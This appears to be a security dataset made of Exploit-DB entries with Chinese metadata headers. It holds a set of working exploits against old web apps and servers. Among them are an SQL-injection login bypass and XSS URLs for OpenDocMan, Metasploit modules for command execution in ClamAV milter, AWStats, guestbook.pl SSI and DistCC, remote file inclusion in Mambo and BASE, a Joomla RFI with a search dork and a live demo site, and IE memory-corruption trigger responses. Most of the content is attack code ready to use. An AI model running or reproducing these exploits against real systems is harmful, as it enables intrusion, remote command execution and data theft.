QLWD/code_shield huggingface dataset:
标题: OpenDocMan 1.2.5 - Cross-Site Scripting / SQL Injection EDB-ID: 9903 CVE: 2009-3789 类型: WEBAPPS 平台: PHP 发布日期: 2009-10-20 漏洞利用脚本: Security Advisory : Multiple vulnerabilities in OpenDocMan
Discovered by  ==> Amol Naik (amolnaik4[at]gmail.com)

## Overview ##
--------------
OpenDocMan is a free document management system (DMS) designed to comply with ISO 17025 and OIE standard for document management. It features web based access, fine grained control of access to files, and automated install and upgrades.


## Vulnerability Description ##
-----------------
OpenDocMan is vulnerable to authentication bypass and multiple cross-site scripting issues.



## Technical Details ##
-------------
Vulnerable Product  : OpenDocMan v1.2.5
Download  : http://sourceforge.net/projects/opendocman/files/opendocman/1.2.5/opendocman-1.2.5.zip/download


Authentication Bypass:
----------------------

A valid username require to carry put Auth Bypass. Default is "admin".


Cross-site Scripting:
---------------------

Multiple instances of Cross-site scripting found majorly due to use of $_SERVER['PHP_SELF'] in action parameter of form field and due to absence of validation for "last_message" parameter.



## Proof of concept ##
----------------------

Authentication Bypass:
----------------------

Username : admin' OR '1'='1
Password : nothing

Cross-site scripting:
---------------------

http://localhost/opendocman/category.php/"><script>alert(1)</script><"?aku=c3VibWl0PWFkZCZzdGF0ZT0y
http://localhost/opendocman/department.php/"><script>alert(1)</script><"?aku=c3VibWl0PXNob3dwaWNrJnN0YXRlPTI=
http://localhost/opendocman/profile.php/"><script>alert(1)</script>
http://localhost/opendocman/rejects.php/"><script>alert(1)</script>
http://localhost/opendocman/search.php/"><script>alert(1)</script>
http://localhost/opendocman/toBePublished.php/"><script>alert(1)</script>
http://localhost/opendocman/user.php/"><script>alert(1)</script><"?aku=c3VibWl0PXNob3dwaWNrJnN0YXRlPTI=
http://localhost/opendocman/view_file.php/"><script>alert(1)</script><"?aku=aWQ9NiZzdGF0ZT0z
http://localhost/opendocman/index.php?last_message=<script>alert(1)</script>
http://localhost/opendocman/user.php?submit=Modify+User&item=2&caller=/opendocman/"><script>alert(123)</script><"
http://localhost/opendocman/add.php?last_message=<script>alert(1)</script>
http://localhost/opendocman/toBePublished.php?last_message=<script>alert(1)</script>
http://localhost/opendocman/admin.php?last_message=<script>alert(1)</script>

## Workaround ##
----------------
Update to newer version v1.2.5.2
opendocmanv1.2.5.2: http://sourceforge.net/projects/opendocman/files/opendocman/1.2.5.2/opendocman-1.2.5.2.zip/download


## TimeLine ##
----------------------
10th Oct 2009 : Bug Discovered
12th Oct 2009 : vendor was notified by e-mail
12th Oct 2009 : Vendor response received
20th Oct 2009 : A new release publicly available
20th Oct 2009 : Public Disclosure URL: https://www.exploit-db.com/exploits/9903
标题: ClamAV Milter 0.92.2 - Blackhole-Mode (Sendmail) Code Execution (Metasploit) EDB-ID: 9913 CVE: 2007-4560 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-08-24 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::Smtp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'ClamAV Milter Blackhole-Mode Remote Code Execution',
   'Description'    => %q{
     This module exploits a flaw in the Clam AntiVirus suite 'clamav-milter'
     (Sendmail mail filter). Versions prior to v0.92.2 are vulnerable.
     When implemented with black hole mode enabled, it is possible to execute
     commands remotely due to an insecure popen call.
   },
   'Author'         => [ 'patrick' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision$',
   'References'     =>
    [
     [ 'CVE', '2007-4560' ],
     [ 'OSVDB', '36909' ],
     [ 'BID', '25439' ],
     [ 'URL', 'http://www.milw0rm.com/exploits/4761' ],
    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Space'       => 1024,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl ruby bash telnet',
      }
    },  
   'Platform'       => 'unix',
   'Arch'           => ARCH_CMD,
   'Targets'        => 
    [
     [ 'Automatic', { }],
    ],
   'DisclosureDate' => 'Aug 24 2007',
   'DefaultTarget'  => 0))

   register_options(
   [
    OptString.new('MAILTO', [ true, 'TO address of the e-mail', 'nobody@localhost']),
   ], self.class)
 end

 def exploit

  # ClamAV writes randomized msg.###### temporary files in a randomized
  # /tmp/clamav-#######################/ directory. This directory is
  # the clamav-milter process working directory.
  #
  # We *can* execute arbitrary code directly from 'sploit', however the
  # SMTP RFC rejects all payloads with the exception of generic CMD
  # payloads due to the IO redirects. I discovered that the 'From:'
  # header is written to this temporary file prior to the vulnerable
  # call, so we call the file itself and payload.encoded is executed.

  sploit = "sh msg*" # Execute the clamav-milter temporary file.

  # Create the malicious RCPT TO before connecting,
  # to make good use of the Exploit::Smtp support.

  oldaddr = datastore['MAILTO']
  newaddr = oldaddr.split('@')

  datastore['MAILTO'] = "<#{newaddr[0]}+\"|#{sploit}\"@#{newaddr[1]}>"

  connect_login

  sock.put("From: ;#{payload.encoded}\r\n") # We are able to stick our payload in this header
  sock.put(".\r\n")

  # Clean up RCPT TO afterwards

  datastore['MAILTO'] = oldaddr

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/9913
标题: Mambo 4.6.4 - Cache Lite Output Remote File Inclusion (Metasploit) EDB-ID: 9906 CVE: 2008-2905 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-14 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Remote::HttpServer::PHPInclude

 def initialize(info = {})
  super(update_info(info, 
   'Name'           => 'Mambo Cache_Lite Class mosConfig_absolute_path Remote File Include.',
   'Description'    => %q{
     This module exploits a remote file inclusion vulnerability in
     includes/Cache/Lite/Output.php in the Cache_Lite package in Mambo 
     4.6.4 and earlier.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision:$',
   'References'     =>
    [
     [ 'CVE', '2008-2905' ],
     [ 'BID', '29716' ],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Compat'      => 
      {
       'ConnectionType' => 'find',
      },
     'Space'       => 32768,
    },
   'Platform'       => 'php',
   'Arch'           => ARCH_PHP,
   'Targets'        => [[ 'Automatic', { }]],
   'DisclosureDate' => 'Jun 14 2008',
   'DefaultTarget' => 0))
   
   register_options(
    [
     OptString.new('PHPURI', [true, "The URI to request, with the include parameter changed to !URL!", "/includes/Cache/Lite/Output.php?mosConfig_absolute_path=!URL!"]),
    ], self.class)
 end

 def php_exploit

  timeout = 0.01
  uri = datastore['PHPURI'].gsub('!URL!', Rex::Text.to_hex(php_include_url, "%"))
  print_status("Trying uri #{uri}")

  response = send_request_raw( {
    'global' => true,
    'uri' => uri,
   },timeout)

  if response and response.code != 200
   print_error("Server returned non-200 status code (#{response.code})")
  end
  
  handler
 end

end URL: https://www.exploit-db.com/exploits/9906
标题: AWStats 6.2 < 6.1 - configdir Command Injection (Metasploit) EDB-ID: 9912 CVE: 2005-0116 类型: WEBAPPS 平台: CGI 发布日期: 2005-01-15 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'AWStats configdir Remote Command Execution',
   'Description'    => %q{
     This module exploits an arbitrary command execution vulnerability in the
     AWStats CGI script. iDEFENSE has confirmed that AWStats versions 6.1 and 6.2
     are vulnerable.
   },
   'Author'         => [ 'Matteo Cantoni <goony[at]nothink.org>', 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision$',
   'References'     =>
    [
     ['CVE', '2005-0116'],
     ['OSVDB', '13002'],
     ['BID', '12298'],
     ['URL', 'http://www.idefense.com/application/poi/display?id=185&type=vulnerabilities'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Space'       => 512,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl ruby bash telnet',
      }
    },  
   'Platform'       => 'unix',
   'Arch'           => ARCH_CMD,
   'Targets'        => [[ 'Automatic', { }]],
   'DisclosureDate' => 'Jan 15 2005',
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('URI', [true, "The full URI path to awstats.pl", "/cgi-bin/awstats.pl"]),
    ], self.class)
 end

 def check
  res = send_request_cgi({
   'uri'      => datastore['URI'],
   'vars_get' =>
   {
    'configdir' => '|echo;cat /etc/hosts;echo|'
   }
  }, 25)

  if (res and res.body.match(/localhost/))
   return Exploit::CheckCode::Vulnerable
  end

  return Exploit::CheckCode::Safe
 end

 def exploit
  command = Rex::Text.uri_encode(payload.encoded)
  urlconfigdir = datastore['URI'] + "?configdir=|echo;echo%20YYY;#{command};echo%20YYY;echo|"

  res = send_request_raw({
   'uri'     => urlconfigdir,
   'method'  => 'GET',
   'headers' =>
   {
    'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
    'Connection' => 'Close',
   }
  }, 25)

  if (res)
   print_status("The server returned: #{res.code} #{res.message}")

   m = res.body.match(/YYY\n(.*)\nYYY/m)

   if (m)
    print_status("Command output from the server:")
    print("\n" + m[1] + "\n\n")
   else
    print_status("This server may not be vulnerable")
   end
  else
   print_status("No response from the server")
  end
 end

end URL: https://www.exploit-db.com/exploits/9912
标题: The Matt Wright Guestbook.pl 2.3.1 - Server-Side Include EDB-ID: 9907 CVE: 1999-1053 类型: WEBAPPS 平台: CGI 发布日期: 1999-11-05 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Matt Wright guestbook.pl Arbitrary Command Execution',
   'Description'    => %q{
    The Matt Wright guestbook.pl <= v2.3.1 CGI script contains
    a flaw that may allow arbitrary command execution. The vulnerability
    requires that HTML posting is enabled in the guestbook.pl script, and
    that the web server must have the Server-Side Include (SSI) script
    handler enabled for the '.html' file type. By combining the script
    weakness with non-default server configuration, it is possible to exploit
    this vulnerability successfully.
   },
   'Author'         => [ 'patrick' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision$',
   'References'     =>
    [
     [ 'CVE', '1999-1053' ],
     [ 'OSVDB', '84' ],
     [ 'BID', '776' ],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Space'       => 1024,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl ruby bash telnet',
      }
    },  
   'Platform'       => [ 'unix', 'win', 'linux' ],
   'Arch'           => ARCH_CMD,
   'Targets'        => [[ 'Automatic', { }]],
   'DisclosureDate' => 'Nov 05 1999',
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('URI', [true, "guestbook.pl script path", "/cgi-bin/guestbook.pl"]),
     OptString.new('URIOUT', [true, "guestbook.html output", "/guestbook/guestbook.html"]),
    ], self.class)
 end

 def exploit
  realname = rand_text_alphanumeric(20)
  email  = rand_text_alphanumeric(20)
  city  = rand_text_alphanumeric(20)
  state  = rand_text_alphanumeric(20)
  country  = rand_text_alphanumeric(20)

  sploit = Rex::Text.uri_encode("<!--#exec cmd=\"" + payload.encoded.gsub('"','\"') + "\"", 'hex-normal')

  req1 = send_request_cgi({
   'uri'     => datastore['URI'],
   'method'  => 'POST',
   'data'    => "realname=#{realname}&username=#{email}&city=#{city}&state=#{state}&country=#{country}&comments=#{sploit}",
  }, 25)

  req2 = send_request_raw({
   'uri'     => datastore['URIOUT'],
  }, 25)
  
 end
end URL: https://www.exploit-db.com/exploits/9907
标题: BASE 1.2.4 - 'base_qry_common.php' Remote File Inclusion (Metasploit) EDB-ID: 9908 CVE: 2006-2685 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-14 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Remote::HttpServer::PHPInclude

 def initialize(info = {})
  super(update_info(info, 
   'Name'           => 'BASE base_qry_common Remote File Include.',
   'Description'    => %q{
     This module exploits a remote file inclusion vulnerability in
     the base_qry_common.php file in BASE 1.2.4 and earlier.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision:$',
   'References'     =>
    [
     [ 'CVE', '2006-2685' ],
     [ 'BID', '18298' ],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Compat'      => 
      {
       'ConnectionType' => 'find',
      },
     'Space'       => 32768,
    },
   'Platform'       => 'php',
   'Arch'           => ARCH_PHP,
   'Targets'        => [[ 'Automatic', { }]],
   'DisclosureDate' => 'Jun 14 2008',
   'DefaultTarget' => 0))
   
   register_options(
    [
     OptString.new('PHPURI', [true, "The URI to request, with the include parameter changed to !URL!", "/base/base_qry_common.php?BASE_path=!URL!"]),
    ], self.class)
 end

 def php_exploit

  timeout = 0.01
  uri = datastore['PHPURI'].gsub('!URL!', Rex::Text.to_hex(php_include_url, "%"))
  print_status("Trying uri #{uri}")

  response = send_request_raw( {
    'global' => true,
    'uri' => uri,
   },timeout)

  if response and response.code != 200
   print_error("Server returned non-200 status code (#{response.code})")
  end
  
  handler
 end

end URL: https://www.exploit-db.com/exploits/9908
标题: DistCC Daemon - Command Execution (Metasploit) EDB-ID: 9915 CVE: 2004-2687 类型: REMOTE 平台: MULTIPLE 发布日期: 2002-02-01 漏洞利用脚本: ##
# $Id: distcc_exec.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'DistCC Daemon Command Execution',
   'Description'    => %q{
    This module uses a documented security weakness to execute
    arbitrary commands on any system running distccd.

   },
   'Author'         => [ 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9669 $',
   'References'     =>
    [
     [ 'CVE', '2004-2687'],
     [ 'OSVDB', '13378' ],
     [ 'URL', 'http://distcc.samba.org/security.html'],

    ],
   'Platform'       => ['unix'],
   'Arch'           => ARCH_CMD,
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'       => 1024,
     'DisableNops' => true,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl ruby bash telnet',
      }
    },
   'Targets'        =>
    [
     [ 'Automatic Target', { }]
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Feb 01 2002'
   ))

   register_options(
    [
     Opt::RPORT(3632)
    ], self.class)
 end

 def exploit
  connect

  distcmd = dist_cmd("sh", "-c", payload.encoded);
  sock.put(distcmd)

  dtag = rand_text_alphanumeric(10)
  sock.put("DOTI0000000A#{dtag}\n")

  res = sock.get_once(24, 5)

  if !(res and res.length == 24)
   print_status("The remote distccd did not reply to our request")
   disconnect
   return
  end

  # Check STDERR
  res = sock.get_once(4, 5)
  res = sock.get_once(8, 5)
  len = [res].pack("H*").unpack("N")[0]

  return if not len
  if (len > 0)
   res = sock.get_once(len, 5)
   res.split("\n").each do |line|
    print_status("stderr: #{line}")
   end
  end

  # Check STDOUT
  res = sock.get_once(4, 5)
  res = sock.get_once(8, 5)
  len = [res].pack("H*").unpack("N")[0]

  return if not len
  if (len > 0)
   res = sock.get_once(len, 5)
   res.split("\n").each do |line|
    print_status("stdout: #{line}")
   end
  end

  handler
  disconnect
 end


 # Generate a distccd command
 def dist_cmd(*args)

  # Convince distccd that this is a compile
  args.concat(%w{# -c main.c -o main.o})

  # Set distcc 'magic fairy dust' and argument count
  res = "DIST00000001" + sprintf("ARGC%.8x", args.length)

  # Set the command arguments
  args.each do |arg|
   res << sprintf("ARGV%.8x%s", arg.length, arg)
  end

  return res
 end

end URL: https://www.exploit-db.com/exploits/9915
标题: Mongoose Web Server 2.8 - Source Disclosure EDB-ID: 9897 CVE: 2009-4535 类型: WEBAPPS 平台: PHP 发布日期: 2009-10-23 漏洞利用脚本: #######################################################
#
# Mongoose Web Server <= 2.8.0 Remote Source Disclosure
# Found By: Dr_IDE
# Tested On: Windows XPSP3
# Download:  http://code.google.com/p/mongoose/
#
#######################################################

- Description -

Mongoose Web Server <= 2.8.0 is a Windows based HTTP server.
This is the latest version of the application available.

Mongoose is vulnerable to remote arbitrary source code
disclosure by the following means.

- Technical Details -

http://[ webserver IP][:port]/[ file ][/]

http://172.16.2.101:8080/index.html/
http://172.16.2.101:8080/index.php/

#[pocoftheday.blogspot.com] URL: https://www.exploit-db.com/exploits/9897
标题: Joomla! Component Book Library 1.0 - Remote File Inclusion EDB-ID: 9889 CVE: 2009-3817 类型: WEBAPPS 平台: PHP 发布日期: 2009-10-19 漏洞利用脚本: #############################################################################################################
## Joomla Component com_booklibrary Remote File Include vulnerability                                     ##
## Author : kaMtiEz (kamzcrew@gmail.com)           ##
## Homepage : http://www.indonesiancoder.com                       ##
## Date : September 27, 2009                 ##
#############################################################################################################
# Hello My Name Is :                                                                                       ##
#  __               _____   __  ._____________                                                             ##
# |  | _______     /     \_/  |_|__\_   _____/_______                                                      ##
# |  |/ /\__  \   /  \ /  \   __\  ||    __)_\___   /                                                      ##
# |    <  / __ \_/    Y    \  | |  ||        \/    /                                                       ##
# |__|_ \(____  /\____|__  /__| |__/_______  /_____ \                                                      ##
#      \/     \/         \/                \/      \/ -=- INDONESIAN CODER -=- KILL-9 CREW -=-             ##
#############################################################################################################

[ Software Information ]

[+] Vendor : http://www.joomlawebserver.com/
[+] Download : http://www.joomlawebserver.com/extensions/index.php
[+] version : 1.0
[+] Vulnerability : RFI
[+] price : FREE 
[+] Dork : inurl:"com_booklibrary"
[+] Location : INDONESIA
#############################################################################################################

[ Vulnerable File ]

http://127.0.0.1/administrator/components/com_booklibrary/doc/releasenote.php?mosConfig_absolute_path=[INDONESIANCODER-Ev1L]

[ BUG IN ]

releasenote.php

got error ;) 

require('./components/com_booklibrary/admin.booklibrary.class.conf.php');

[ DEMO ]

http://www.fila-brasileiro.pl/administrator/components/com_booklibrary/doc/releasenote.php?mosConfig_absolute_path=[kaMtiEz RoX]

[ FIX ]

Tukulesto said : ask to Aurakasih .. lol
kaMtiEz said : tanya ama AuraKasih .. hha
M3Nw5 said : takon Karo AuraKasih .. hha
Arianom Said : coba kau tanya aura kasih lae

Joke.. ;)
#############################################################################################################

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW
[+] tukulesto,M3NW5,arianom,tiw0L,Pathloader,abah_benu,VycOd,och3_an3h
[+] Contrex,onthel,yasea,bugs,olivia,Jovan,Aar,Ardy,invent,Ronz
[+] Coracore,black666girl,NepT,ichal,tengik,Gh4mb4s,rendy and YOU!!

[ NOTE ] 

[+] makasih buad babe and enyak .... muach .. untuk pacarkuwh luph u mwahhhhh
[+] makasih buat om tukulesto yg menemani saia selalu dan enggak bosen ma gue .. hahaha
[+] ditinggal tidur ama om tukulesto .. ga ada temen .. untung aje tetep ada hasil ;) URL: https://www.exploit-db.com/exploits/9889
标题: Microsoft Internet Explorer 5/6/7 - Memory Corruption (MS09-054) EDB-ID: 9893 CVE: 2009-1547 类型: REMOTE 平台: WINDOWS 发布日期: 2009-10-15 漏洞利用脚本: MSIE Content-Encoding: deflate memory corruption vulnerability

(a.k.a. MSRC 8769, MS09-054, CVE-2009-1547, “Data Stream Header Corruption Vulnerability”)

Microsoft fixed a bug in Internet Explorer’s “Content-Encoding:deflate” implementation. Here are two HTTP replies that trigger the bug:

HTTP/.\nContent-Encoding:deflate\r\t\n\r\n\x20\x20
HTTP \nContent-Encoding:deflate\nContent-Range:\n\n”

The bug allows memory corruption, which can be exploited to execute arbitrary code. The big surprise (to me at least) is that nobody seems to have found this before even though it’s fairly easy to trigger. URL: https://www.exploit-db.com/exploits/9893